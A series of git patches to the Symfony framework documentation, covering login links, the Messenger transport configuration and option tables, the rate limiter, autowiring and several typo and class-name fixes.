+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <login-link check-route="login_check"
+                        check-post-only="true"
+                        max-uses="1"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            'firewalls' => [
+                'main' => [
+                    'login_link' => [
+                        'check_route' => 'login_check',
+                        'check_post_only' => true,
+                        'max_uses' => 1,
+                    ],
+                ],
+            ],
+        ]);
+
+Then, use the ``check_route`` controller to render a page that lets the
+user create this POST request (e.g. by clicking a button)::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller;
+
+    // ...
+    use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
+
+    class SecurityController extends AbstractController
+    {
+        /**
+         * @Route("/login_check", name="login_check")
+         */
+        public function check()
+        {
+            // get the login link query parameters
+            $expires = $request->query->get('expires');
+            $username = $request->query->get('user');
+            $hash = $request->query->get('hash');
+
+            // and render a template with the button
+            return $this->render('security/process_login_link.html.twig', [
+                'expires' => $expires,
+                'user' => $username,
+                'hash' => $hash,
+            ]);
+        }
+    }
+
+.. code-block:: html+twig
+
+    {# templates/security/process_login_link.html.twig #}
+    {% extends 'base.html.twig' %}
+
+    {% block body %}
+        <h2>Hi! You are about to login to ...</h2>
+
+        <!-- for instance, use a form with hidden fields to
+             create the POST request --->
+        <form action="{{ path('login_check') }}" method="POST">
+            <input type="hidden" name="expires" value="{{ expires }}">
+            <input type="hidden" name="user" value="{{ user }}">
+            <input type="hidden" name="hash" value="{{ hash }}">
+
+            <button type="submit">Continue</button>
+        </form>
+    {% endblock %}

From 7e1d00dd3ff98c81ffe29fd9e6bdcade4c62874c Mon Sep 17 00:00:00 2001
From: Leo <leorent@hotmail.com>
Date: Sat, 17 Oct 2020 14:27:52 +0200
Subject: [PATCH 1349/7107] Update doctrine.rts

Query example in documentation has a missing `;`
---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 9a2ee33db89..bb27ad91bfa 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -780,7 +780,7 @@ based on PHP conditions)::
             ->orderBy('p.price', 'ASC');
 
         if (!$includeUnavailableProducts) {
-            $qb->andWhere('p.available = TRUE')
+            $qb->andWhere('p.available = TRUE');
         }
 
         $query = $qb->getQuery();

From 2c8e1b940976cc4300aec04b8e50d498944dd3db Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 17 Oct 2020 16:53:25 +0200
Subject: [PATCH 1350/7107] Tweaks

---
 rate_limiter.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 3849a502858..6fa7192945f 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -128,8 +128,8 @@ the number of requests to the API::
 
     class ApiController extends AbstractController
     {
-        // the variable name must be: "rate limiter name" + "limiter" suffix
-        // if you're using autowiring for your services
+        // if you're using service autowiring, the variable name must be:
+        // "rate limiter name" (in camelCase) + "limiter" suffix
         public function index(RateLimiter $anonymousApiLimiter)
         {
             // create a limiter based on a unique identifier of the client
@@ -199,8 +199,8 @@ processes by reserving unused tokens.
 
 .. note::
 
-    Not all strategies allow reservering tokens in the future. These
-    strategies may throw an ``ReserveNotSupportedException`` when calling
+    Not all strategies allow reserving tokens in the future. These
+    strategies may throw a ``ReserveNotSupportedException`` when calling
     ``reserve()``.
 
     In these cases, you can use ``consume()`` together with ``wait()``, but

From b8653ebb1ee6eb03ce18d42fc1eded0e2f950b59 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 17 Oct 2020 18:49:15 +0200
Subject: [PATCH 1351/7107] Reword the intro

---
 security/login_link.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 929091184de..b980dea5790 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -5,10 +5,14 @@
 How to use Passwordless Login Link Authentication
 =================================================
 
-Login links, also called "magic links", allow users to log in without
-passwords. Whenever a user wants to login, a login link is generated and
-sent to the user (e.g. using an email). The user is logged in as soon as
-they visit that link.
+Login links, also called "magic links", are a passwordless authentication
+mechanism. Whenever a user wants to login, a new link is generated and sent to
+them (e.g. using an email). The link fully authenticates the user in the
+application when clicking on it.
+
+This authentication method can help you eliminate most of the customer support
+related to authentication (e.g. I forgot my password, how can I change or reset
+my password, etc.)
 
 Login links are supported by Symfony when using the experimental
 authenticator system. You must

From 7b441a21ec1484849783b831daaee1689dd5d579 Mon Sep 17 00:00:00 2001
From: Ahmed bhs <ahmedbhs123@gmail.com>
Date: Sat, 17 Oct 2020 18:29:43 +0200
Subject: [PATCH 1352/7107] Update messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 7a4a9afccc2..a3510ba2af8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -472,7 +472,7 @@ On production, there are a few important things to think about:
     process control system like :ref:`Supervisor <messenger-supervisor>`.
 
 **Don't Let Workers Run Forever**
-    Some services (like Doctrine's EntityManager) will consume more memory
+    Some services (like Doctrine's ``EntityManager``) will consume more memory
     over time. So, instead of allowing your worker to run forever, use a flag
     like ``messenger:consume --limit=10`` to tell your worker to only handle 10
     messages before exiting (then Supervisor will create a new process). There

From 0c6a78285c2cf275a3769203ab94518a9706be1d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 17 Oct 2020 19:20:31 +0200
Subject: [PATCH 1353/7107] Added the versionadded directive

---
 components/options_resolver.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 74569b9123e..941d61de6c7 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -823,8 +823,7 @@ method::
 
 .. versionadded:: 5.1
 
-    The :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::define` method
-    was introduced in Symfony 5.1.
+    The ``define()`` and ``info()`` methods were introduced in Symfony 5.1.
 
 Performance Tweaks
 ~~~~~~~~~~~~~~~~~~

From f012726a03907a7d26536f293d4baeeb92db9164 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 17 Oct 2020 19:27:01 +0200
Subject: [PATCH 1354/7107] Fixed a broken reference

---
 security/login_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index b980dea5790..3db4f34f8eb 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -325,7 +325,7 @@ configuration decisions are discussed:
 
 * `Limit Login Link Lifetime`_
 * `Invalidate Login Links`_
-* `Only allow a Link to be used Once`_
+* `Allow a Link to only be Used Once`_
 
 Limit Login Link Lifetime
 ~~~~~~~~~~~~~~~~~~~~~~~~~

From f1443d40d9baf703408efddc5dc925b60eb598ed Mon Sep 17 00:00:00 2001
From: Ahmed bhs <ahmedbhs123@gmail.com>
Date: Sat, 17 Oct 2020 19:25:22 +0200
Subject: [PATCH 1355/7107] Update dumping-workflows.rst

---
 workflow/dumping-workflows.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 5b087fc405b..d1749603155 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -309,6 +309,6 @@ The PlantUML image will look like this:
 
 .. image:: /_images/components/workflow/pull_request_puml_styled.png
 
-.. _`Graphviz`: http://www.graphviz.org
+.. _`Graphviz`: https://www.graphviz.org
 .. _`PlantUML`: https://plantuml.com/
 .. _`PlantUML's color list`: https://plantuml.com/color

From a93da4e4ff1cd4d0863ced455fb1848fb3c27f26 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 13 Oct 2020 20:17:10 +0200
Subject: [PATCH 1356/7107] Made all messenger transport look the same

---
 messenger.rst | 290 +++++++++++++++++++++++++-------------------------
 1 file changed, 147 insertions(+), 143 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 5eb11cba839..04f0716f982 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -123,7 +123,7 @@ is capable of sending messages (e.g. to a queueing system) and then
 A transport is registered using a "DSN". Thanks to Messenger's Flex recipe, your
 ``.env`` file already has a few examples.
 
-.. code-block:: bash
+.. code-block:: env
 
     # MESSENGER_TRANSPORT_DSN=amqp://guest:guest@localhost:5672/%2f/messages
     # MESSENGER_TRANSPORT_DSN=doctrine://default
@@ -839,11 +839,71 @@ Transport Configuration
 -----------------------
 
 Messenger supports a number of different transport types, each with their own
-options.
+options. Options can be passed to the transport via a DSN string or configuration.
+
+.. code-block:: env
+
+    # .env
+    MESSENGER_TRANSPORT_DSN=amqp://localhost/%2f/messages?auto_setup=false
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    my_transport:
+                        dsn: "%env(MESSENGER_TRANSPORT_DSN)%"
+                        options:
+                            auto_setup: false
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:transport name="my_transport" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
+                        <framework:options auto-setup="false"/>
+                    </framework:transport>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        $container->loadFromExtension('framework', [
+            'messenger' => [
+                'transports' => [
+                    'my_transport' => [
+                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
+                        'options' => [
+                            'auto_setup' => false,
+                        ]
+                    ],
+                ],
+            ],
+        ]);
+
+Options defined under ``options`` take precedence over ones defined in the DSN.
 
 AMQP Transport
 ~~~~~~~~~~~~~~
 
+The AMQP transport uses the AMQP PHP extension to send messages to queues like
+RabbitMQ.
+
 .. versionadded:: 5.1
 
     Starting from Symfony 5.1, the AMQP transport has moved to a separate package.
@@ -853,9 +913,9 @@ AMQP Transport
 
         $ composer require symfony/amqp-messenger
 
-The ``amqp`` transport configuration looks like this:
+The AMQP transport DSN may looks like this:
 
-.. code-block:: bash
+.. code-block:: env
 
     # .env
     MESSENGER_TRANSPORT_DSN=amqp://guest:guest@localhost:5672/%2f/messages
@@ -867,7 +927,6 @@ The ``amqp`` transport configuration looks like this:
 
     The AMQPS protocol support was introduced in Symfony 5.2.
 
-To use Symfony's built-in AMQP transport, you need the AMQP PHP extension.
 If you want to use TLS/SSL encrypted AMQP, you must also provide a CA certificate.
 Define the certificate path in the ``amqp.cacert`` PHP.ini setting
 (e.g. ``amqp.cacert = /etc/ssl/certs``) or in the ``cacert`` parameter of the
@@ -886,6 +945,66 @@ The transport has a number of other options, including ways to configure
 the exchange, queues binding keys and more. See the documentation on
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\Connection`.
 
+The transport has a number of options:
+
+============================================  =================================================  ===================================
+     Option                                   Description                                        Default
+============================================  =================================================  ===================================
+``auto_setup``                                Whether the table should be created                ``true``
+                                              automatically during send / get.
+``cacert``                                    Path to the CA cert file in PEM format.
+``cert``                                      Path to the client certificate in PEM format.
+``channel_max``                               Specifies highest channel number that the server
+                                              permits. 0 means standard extension limit
+``confirm_timeout``                           Timeout in seconds for confirmation, if none
+                                              specified transport will not wait for message
+                                              confirmation. Note: 0 or greater seconds. May be
+                                              fractional.
+``connect_timeout``                           Connection timeout. Note: 0 or greater seconds.
+                                              May be fractional.
+``frame_max``                                 The largest frame size that the server proposes
+                                              for the connection, including frame header and
+                                              end-byte. 0 means standard extension limit
+                                              (depends on librabbimq default frame size limit)
+``heartbeat``                                 The delay, in seconds, of the connection
+                                              heartbeat that the server wants. 0 means the
+                                              server does not want a heartbeat. Note,
+                                              librabbitmq has limited heartbeat support, which
+                                              means heartbeats checked only during blocking
+                                              calls.
+``host``                                      Hostname of the AMQP service
+``key``                                       Path to the client key in PEM format.
+``password``                                  Password to use to connect to the AMQP service
+``persistent``                                                                                   ``'false'``
+``port``                                      Port of the AMQP service
+``prefetch_count``
+``read_timeout``                              Timeout in for income activity. Note: 0 or
+                                              greater seconds. May be fractional.
+``retry``
+``sasl_method``
+``user``                                      Username to use to connect the AMQP service
+``verify``                                    Enable or disable peer verification. If peer
+                                              verification is enabled then the common name in
+                                              the server certificate must match the server
+                                              name. Peer verification is enabled by default.
+``vhost``                                     Virtual Host to use with the AMQP service
+``write_timeout``                             Timeout in for outcome activity. Note: 0 or
+                                              greater seconds. May be fractional.
+``delay[queue_name_pattern]``                 Pattern to use to create the queues                ``delay_%exchange_name%_%routing_key%_%delay%``
+``delay[exchange_name]``                      Name of the exchange to be used for the            ``delays``
+                                              delayed/retried messages
+``queues[name][arguments]``                   Extra arguments
+``queues[name][binding_arguments]``           Arguments to be used while binding the queue.
+``queues[name][binding_keys]``                The binding keys (if any) to bind to this queue
+``queues[name][flags]``                       Queue flags                                        ``AMQP_DURABLE``
+``exchange[arguments]``
+``exchange[default_publish_routing_key]``     Routing key to use when publishing, if none is
+                                              specified on the message
+``exchange[flags]``                           Exchange flags                                     ``AMQP_DURABLE``
+``exchange[name]``                            Name of the exchange
+``exchange[type]``                            Type of exchange                                   ``fanout``
+============================================  =================================================  ===================================
+
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::
@@ -912,6 +1031,8 @@ your Envelope::
 Doctrine Transport
 ~~~~~~~~~~~~~~~~~~
 
+The Doctrine transport can be used to store messages in a database table.
+
 .. versionadded:: 5.1
 
     Starting from Symfony 5.1, the Doctrine transport has moved to a separate package.
@@ -921,9 +1042,9 @@ Doctrine Transport
 
         $ composer require symfony/doctrine-messenger
 
-The Doctrine transport can be used to store messages in a database table.
+The Doctrine transport DSN may looks like this:
 
-.. code-block:: bash
+.. code-block:: env
 
     # .env
     MESSENGER_TRANSPORT_DSN=doctrine://default
@@ -942,65 +1063,6 @@ Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 
 The transport has a number of options:
 
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/messenger.yaml
-        framework:
-            messenger:
-                transports:
-                    async_priority_high: "%env(MESSENGER_TRANSPORT_DSN)%?queue_name=high_priority"
-                    async_normal:
-                        dsn: "%env(MESSENGER_TRANSPORT_DSN)%"
-                        options:
-                            queue_name: normal_priority
-
-    .. code-block:: xml
-
-        <!-- config/packages/messenger.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:messenger>
-                    <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%?queue_name=high_priority"/>
-                    <framework:transport name="async_priority_low" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
-                        <framework:options>
-                            <framework:queue>
-                                <framework:name>normal_priority</framework:name>
-                            </framework:queue>
-                        </framework:options>
-                    </framework:transport>
-                </framework:messenger>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_high' => '%env(MESSENGER_TRANSPORT_DSN)%?queue_name=high_priority',
-                    'async_priority_low' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'queue_name' => 'normal_priority'
-                        ]
-                    ],
-                ],
-            ],
-        ]);
-
-Options defined under ``options`` take precedence over ones defined in the DSN.
-
 ==================  =====================================  ======================
      Option         Description                            Default
 ==================  =====================================  ======================
@@ -1025,82 +1087,25 @@ Beanstalkd Transport
 
     The Beanstalkd transport was introduced in Symfony 5.2.
 
-Install it by running:
+The Beanstalkd transports sends messages directly to a Beanstalkd work queue. Install
+it by running:
 
 .. code-block:: terminal
 
     $ composer require symfony/beanstalkd-messenger
 
-.. code-block:: bash
+The Beanstalkd transport DSN may looks like this:
 
-    # .env
-    MESSENGER_TRANSPORT_DSN=beanstalkd://localhost
+.. code-block:: env
 
-The format is ``beanstalkd://<ip>:<port>?tube_name=<name>&timeout=<timeoutInSeconds>&ttr=<ttrInSeconds>``.
+    # .env
+    MESSENGER_TRANSPORT_DSN=beanstalkd://localhost:11300?tube_name=foo&timeout=4&ttr=120
 
-The ``port`` setting is optional and defaults to ``11300`` if not set.
+    # If no port, it will default to 11300
+    MESSENGER_TRANSPORT_DSN=beanstalkd://localhost
 
 The transport has a number of options:
 
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/messenger.yaml
-        framework:
-            messenger:
-                transports:
-                    async_priority_high: "%env(MESSENGER_TRANSPORT_DSN)%?tube_name=high_priority"
-                    async_normal:
-                        dsn: "%env(MESSENGER_TRANSPORT_DSN)%"
-                        options:
-                            tube_name: normal_priority
-
-    .. code-block:: xml
-
-        <!-- config/packages/messenger.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:messenger>
-                    <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%?tube_name=high_priority"/>
-                    <framework:transport name="async_priority_low" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
-                        <framework:options>
-                            <framework:tube>
-                                <framework:name>normal_priority</framework:name>
-                            </framework:tube>
-                        </framework:options>
-                    </framework:transport>
-                </framework:messenger>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_high' => '%env(MESSENGER_TRANSPORT_DSN)%?tube_name=high_priority',
-                    'async_priority_low' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'tube_name' => 'normal_priority'
-                        ]
-                    ],
-                ],
-            ],
-        ]);
-
-Options defined under ``options`` take precedence over ones defined in the DSN.
-
 ==================  ===================================  ======================
      Option         Description                          Default
 ==================  ===================================  ======================
@@ -1119,6 +1124,9 @@ ttr                 The message time to run before it
 Redis Transport
 ~~~~~~~~~~~~~~~
 
+The Redis transport uses `streams`_ to queue messages. This transport requires
+the Redis PHP extension (>=4.3) and a running Redis server (^5.0).
+
 .. versionadded:: 5.1
 
     Starting from Symfony 5.1, the Redis transport has moved to a separate package.
@@ -1128,9 +1136,9 @@ Redis Transport
 
         $ composer require symfony/redis-messenger
 
-The Redis transport uses `streams`_ to queue messages.
+The Redis transport DSN may looks like this:
 
-.. code-block:: bash
+.. code-block:: env
 
     # .env
     MESSENGER_TRANSPORT_DSN=redis://localhost:6379/messages
@@ -1143,11 +1151,7 @@ The Redis transport uses `streams`_ to queue messages.
 
     The Unix socket DSN was introduced in Symfony 5.1.
 
-To use the Redis transport, you will need the Redis PHP extension (>=4.3) and
-a running Redis server (^5.0).
-
-A number of options can be configured via the DSN or via the ``options`` key
-under the transport in ``messenger.yaml``:
+The transport has a number of options:
 
 ===================  =====================================  =========================
      Option               Description                       Default
@@ -1275,27 +1279,27 @@ Amazon SQS
 
     The Amazon SQS transport as introduced in Symfony 5.1.
 
-Install Amazon SQS transport by running:
+The Amazon SQS transport is perfect for application hosted on AWS. Install it by
+running:
 
 .. code-block:: terminal
 
     $ composer require symfony/amazon-sqs-messenger
 
-The ``SQS`` transport configuration looks like this:
+The SQS transport DSN may looks like this:
 
 .. code-block:: env
 
     # .env
     MESSENGER_TRANSPORT_DSN=sqs://AKIAIOSFODNN7EXAMPLE:j17M97ffSVoKI0briFoo9a@sqs.eu-west-3.amazonaws.com/messages
-    #MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable
+    MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable
 
 .. note::
 
     The transport will automatically create queues that are needed. This
     can be disabled setting the ``auto_setup`` option to ``false``.
 
-A number of options can be configured via the DSN or via the ``options`` key
-under the transport in ``messenger.yaml``:
+The transport has a number of options:
 
 ======================  ======================================  ===================================
      Option             Description                             Default

From fe40b48251b4fc43bbe50a7194759014a2858715 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 17 Oct 2020 19:44:49 +0200
Subject: [PATCH 1357/7107] Tweaks

---
 service_container/autowiring.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 56a117f7b16..4a2b606c538 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -600,15 +600,16 @@ Autowiring will automatically call *any* method with the ``#[Required]`` attribu
 above it, autowiring each argument. If you need to manually wire some of the arguments
 to a method, you can always explicitly :doc:`configure the method call </service_container/calls>`.
 
-If you need to stay compatible with PHP 7 and thus cannot use attributes, you can use
-the ``@required`` annotation instead.
+If your PHP version doesn't support attributes (they were introduced in PHP 8),
+you can use the ``@required`` annotation instead.
 
 .. versionadded:: 5.2
 
     The ``#[Required]`` attribute was introduced in Symfony 5.2.
 
-Despite property injection has some :ref:`drawbacks <property-injection>`, autowiring with ``#[Required]``
-or ``@required`` can also be applied to public typed properties::
+Despite property injection has some :ref:`drawbacks <property-injection>`,
+autowiring with ``#[Required]`` or ``@required`` can also be applied to public
+typed properties::
 
 .. configuration-block::
 

From 8d1364ecfb4db767168dcd33dcb045971ffc4ff6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sun, 18 Oct 2020 10:20:10 +0200
Subject: [PATCH 1358/7107] Fixed some wrong class names

---
 translation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index 1d6bdf5b7e2..238e80ee38c 100644
--- a/translation.rst
+++ b/translation.rst
@@ -313,10 +313,10 @@ all the information needed to fully translate its contents when needed::
     use Symfony\Component\Translation\Translatable;
 
     // the first argument is required and it's the original message
-    $message = new TranslatableMessage('Symfony is great!');
+    $message = new Translatable('Symfony is great!');
     // the optional second argument defines the translation parameters and
     // the optional third argument is the translation domain
-    $status = new TranslatableMessage('order.status', ['%status%' => $order->getStatus()], 'store');
+    $status = new Translatable('order.status', ['%status%' => $order->getStatus()], 'store');
 
 Templates are now much simpler because you can pass translatable objects to the
 ``trans`` filter:

From a0b063b4a56670aa1c4f2e785f711d78a2d1ed3a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sun, 18 Oct 2020 18:34:59 +0200
Subject: [PATCH 1359/7107] Tweaks

---
 configuration.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 9e17b2f2f08..6efd3283733 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -388,7 +388,8 @@ set in the previous ones):
 #. ``config/packages/*.yaml`` (and ``*.xml`` and ``*.php`` files too);
 #. ``config/packages/<environment-name>/*.yaml`` (and ``*.xml`` and ``*.php`` files too);
 #. ``config/services.yaml`` (and ``services.xml`` and ``services.php`` files too);
-#. ``config/services_<environment-name>.yaml`` (and ``services_environment-name.xml`` and ``services_environment-name.php`` files too);
+#. ``config/services_<environment-name>.yaml`` (and ``services_<environment-name>.xml``
+   and ``services_<environment-name>.php`` files too).
 
 Take the ``framework`` package, installed by default, as an example:
 

From b5b0f71b1c560f2cc0a8bffbb231c5b88f18d08a Mon Sep 17 00:00:00 2001
From: Marvin Hinz <35603466+marvinhinz@users.noreply.github.com>
Date: Sun, 18 Oct 2020 21:12:40 +0200
Subject: [PATCH 1360/7107] Fix spelling in framework.rst

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0e09a21c5cf..cdf5451d94a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -770,7 +770,7 @@ service into your autowired classes.
 .. _reference-http-client-retry-failed:
 
 By enabling the optional ``retry_failed`` configuration, the HTTP client service
-will automaticaly retry failed HTTP requests.
+will automatically retry failed HTTP requests.
 
 .. code-block:: yaml
 

From 7e0a916092227a74bb113de8b320efdd08b7966c Mon Sep 17 00:00:00 2001
From: Marvin Hinz <35603466+marvinhinz@users.noreply.github.com>
Date: Sun, 18 Oct 2020 21:08:44 +0200
Subject: [PATCH 1361/7107] Fix spelling in NotCompromisedPassword.rst

---
 reference/constraints/NotCompromisedPassword.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index ffa9fe99d8d..1eded1463f9 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -83,7 +83,7 @@ The following constraint ensures that the ``rawPassword`` property of the
 
 In order to make the password validation, this constraint doesn't send the raw
 password value to the ``haveibeenpwned.com`` API. Instead, it follows a secure
-process known as `k-anonimity password validation`_.
+process known as `k-anonymity password validation`_.
 
 In practice, the raw password is hashed using SHA-1 and only the first bytes of
 the hash are sent. Then, the ``haveibeenpwned.com`` API compares those bytes
@@ -134,4 +134,4 @@ publicly to consider it compromised. Think carefully before setting this option
 to a higher value because it could decrease the security of your application.
 
 .. _`haveibeenpwned.com`: https://haveibeenpwned.com/
-.. _`k-anonimity password validation`: https://blog.cloudflare.com/validating-leaked-passwords-with-k-anonymity/
+.. _`k-anonymity password validation`: https://blog.cloudflare.com/validating-leaked-passwords-with-k-anonymity/

From 6662660eb425865d8bc96828305478c8b16a491d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ren=C3=A9=20Backhaus?= <rene.backhaus@hdnet.de>
Date: Mon, 19 Oct 2020 15:18:37 +0200
Subject: [PATCH 1362/7107] Adjust wording at Generating URLs

At "Generating URLs in JavaScript" the Twig escape filter is called a escape function. However in context of Twig this is a filter and I guess it should use the right wording also in the Symfony docs.
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 9bd09e531cc..75755c31d40 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1917,7 +1917,7 @@ Generating URLs in JavaScript
 
 If your JavaScript code is included in a Twig template, you can use the
 ``path()`` and ``url()`` Twig functions to generate the URLs and store them in
-JavaScript variables. The ``escape()`` function is needed to escape any
+JavaScript variables. The ``escape()`` filter is needed to escape any
 non-JavaScript-safe values:
 
 .. code-block:: html+twig

From 1dee4f8abbd2325d2f5c3972de61025dfc1b34da Mon Sep 17 00:00:00 2001
From: Andrew Cherabaev <a.cherabaev@mediasoft.team>
Date: Mon, 19 Oct 2020 18:39:45 +0400
Subject: [PATCH 1363/7107] Update custom_constraint.rst

Usage of self::class instead of get_class($this)
---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index d2e7e148266..eebfd087fb0 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -45,7 +45,7 @@ has this default logic::
     // in the base Symfony\Component\Validator\Constraint class
     public function validatedBy()
     {
-        return \get_class($this).'Validator';
+        return static::class.'Validator';
     }
 
 In other words, if you create a custom ``Constraint`` (e.g. ``MyConstraint``),

From d13d6a7fd365e19281af536eb1a4bf7b1b35bba8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 15 Oct 2019 11:15:25 +0200
Subject: [PATCH 1364/7107] Tweaked the middleware example in the Messenger
 component

---
 messenger.rst | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 66b7c376623..2999db21334 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1544,12 +1544,15 @@ middleware and *only* include your own:
             messenger:
                 buses:
                     messenger.bus.default:
+                        # disable the default middleware
+                        default_middleware: false
+
+                        # and/or add your own
                         middleware:
                             # service ids that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface
                             - 'App\Middleware\MyMiddleware'
                             - 'App\Middleware\AnotherMiddleware'
 
-                        #default_middleware: false
 
     .. code-block:: xml
 
